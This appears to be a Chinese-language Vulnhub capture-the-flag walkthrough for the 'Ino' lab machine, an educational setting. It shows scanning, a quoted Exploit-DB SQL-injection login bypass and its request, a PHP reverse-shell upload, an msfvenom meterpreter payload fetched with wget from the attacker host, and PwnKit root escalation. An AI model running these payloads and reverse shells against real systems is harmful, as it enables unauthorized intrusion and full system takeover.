Vulnhub之Ino靶机详细测试过程(采用完全不同方法获得Shell以及本地提权)

Ino

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                         
                                                                                                                             
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                            
 192.168.56.100  08:00:27:86:38:75      1      60  PCS Systemtechnik GmbH                                                    
 192.168.56.253  08:00:27:f5:7e:8f      1      60  PCS Systemtechnik GmbH       

利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.253

NMAP扫描

──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 00:34 EDT
Nmap scan report for localhost (192.168.56.253)
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
|   256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
|_  256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F5:7E:8F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds

NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80(http)

获得Shell

访问80端口,从返回的页面看CMS为Lot Reservation Management System

──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ searchsploit Lot Reservation
-------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                              |  Path
-------------------------------------------------------------------------------------------- ---------------------------------
Lot Reservation Management System 1.0 - Authentication Bypass                               | php/webapps/48934.txt
Lot Reservation Management System 1.0 - Cross-Site Scripting (Stored)                       | php/webapps/48935.txt
-------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

但目前不知道版本,先看一下有无其他目录可利用。

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ nikto -h http://192.168.56.253
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.253
+ Target Hostname:    192.168.56.253
+ Target Port:        80
+ Start Time:         2023-04-16 00:40:09 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: /lot/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated:  20 error(s) and 3 item(s) reported on remote host
+ End Time:           2023-04-16 00:41:00 (GMT-4) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.38) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to [email protected]) (y/n)? 

会被自动重定向到/lot目录。

用Gobuster工具无法识别目录:

──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ gobuster dir -u http://192.168.56.253/lot/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.253/lot/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,html,js,sh,txt
[+] Timeout:                 10s
===============================================================
2023/04/16 00:46:35 Starting gobuster in directory enumeration mode
===============================================================
Error: error on running gobuster: unable to connect to http://192.168.56.253/lot/: Get "http://192.168.56.253/lot/": dial tcp 192.168.56.253:80: connect: connection refused

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ searchsploit -m php/webapps/48934.txt
  Exploit: Lot Reservation Management System 1.0 - Authentication Bypass
      URL: https://www.exploit-db.com/exploits/48934
     Path: /usr/share/exploitdb/exploits/php/webapps/48934.txt
    Codes: N/A
 Verified: True
File Type: ASCII text
Copied to: /home/kali/Vulnhub/Ino/48934.txt


                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ cat 48934.txt 
#Exploit Title: lot reservation management system 1.0 - Authentication Bypass
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php

Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.


Malicious Request:::

POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id

username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B

You will be login as admin of the application.      

用绕过语句,

http://192.168.56.253/lot/admin/

用户名处: admin' or 1=1 --

密码处: admin' or 1=1 --

可以绕过管理后台。

在System Settings,可以上传shell.php文件

从而在Kali Linux上得到了目标主机反弹回来的shell

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 40798
Linux ino 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
 05:59:36 up 26 min,  0 users,  load average: 0.00, 0.21, 0.60
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ino:/$ cd /home
cd /home
www-data@ino:/home$ ls -alh
ls -alh
total 12K
drwxr-xr-x  3 root root 4.0K Oct 10  2020 .
drwxr-xr-x 18 root root 4.0K Oct 27  2020 ..
drwxr-xr-x  2 ppp  ppp  4.0K Dec  5  2020 ppp
www-data@ino:/home$ cd ppp
cd ppp
www-data@ino:/home/ppp$ ls -alh
ls -alh
total 24K
drwxr-xr-x 2 ppp  ppp  4.0K Dec  5  2020 .
drwxr-xr-x 3 root root 4.0K Oct 10  2020 ..
lrwxrwxrwx 1 root root    9 Dec  5  2020 .bash_history -> /dev/null
-rw-r--r-- 1 ppp  ppp   220 Oct 10  2020 .bash_logout
-rw-r--r-- 1 ppp  ppp  3.5K Oct 10  2020 .bashrc
-rw-r--r-- 1 ppp  ppp   807 Oct 10  2020 .profile
-rw-r--r-- 1 ppp  ppp    33 Dec  5  2020 local.txt
www-data@ino:/home/ppp$ cat local.txt
cat local.txt
f29cea45f473ebfa834885c4ff70ec1a

这样就得到了用户flag.

提权

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: escalate.elf
                                                                                                                              
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ python -m http.server   
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...


利用msfvenom工具生成payload,然后将escalate.elf上传至目标主机/tmp目录

www-data@ino:/tmp$ wget http://192.168.56.206:8000/escalate.elf
wget http://192.168.56.206:8000/escalate.elf
--2023-04-16 06:06:32--  http://192.168.56.206:8000/escalate.elf
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'escalate.elf'

escalate.elf        100%[===================>]     207  --.-KB/s    in 0s      

2023-04-16 06:06:32 (65.6 MB/s) - 'escalate.elf' saved [207/207]

www-data@ino:/tmp$ chmod +x escalate.elf
chmod +x escalate.elf

在Kali Linux启动handler

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 192.168.56.206
LHOST => 192.168.56.206
msf6 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf6 exploit(multi/handler) > run

在目标主机的shell中运行./escalate.elf

从而得到meterpreter

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.206:6666 
[*] Sending stage (1017704 bytes) to 192.168.56.253
[*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.253:44636) at 2023-04-16 01:07:39 -0400

meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

利用local_exploit_suggester找到用于提权的漏洞利用模块

[*] 192.168.56.253 - Valid modules for session 1:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 2   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.                                                                                                        
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.                                                         

利用第1个模块实现提权

meterpreter > shell
Process 1409 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
ls -alh
total 28K
drwx------  3 root root 4.0K Dec  5  2020 .
drwxr-xr-x 18 root root 4.0K Oct 27  2020 ..
lrwxrwxrwx  1 root root    9 Dec  5  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-------  1 root root 3.5K Oct 26  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Oct 27  2020 .ssh
-rw-------  1 root root   33 Dec  5  2020 proof.txt
cat proof.txt
21bae0a12690199cde7a65bff57723a5

从而拿到了root shell和root flag

热门相关:无量真仙   薄先生,情不由己   豪门闪婚:帝少的神秘冷妻   大神你人设崩了   天启预报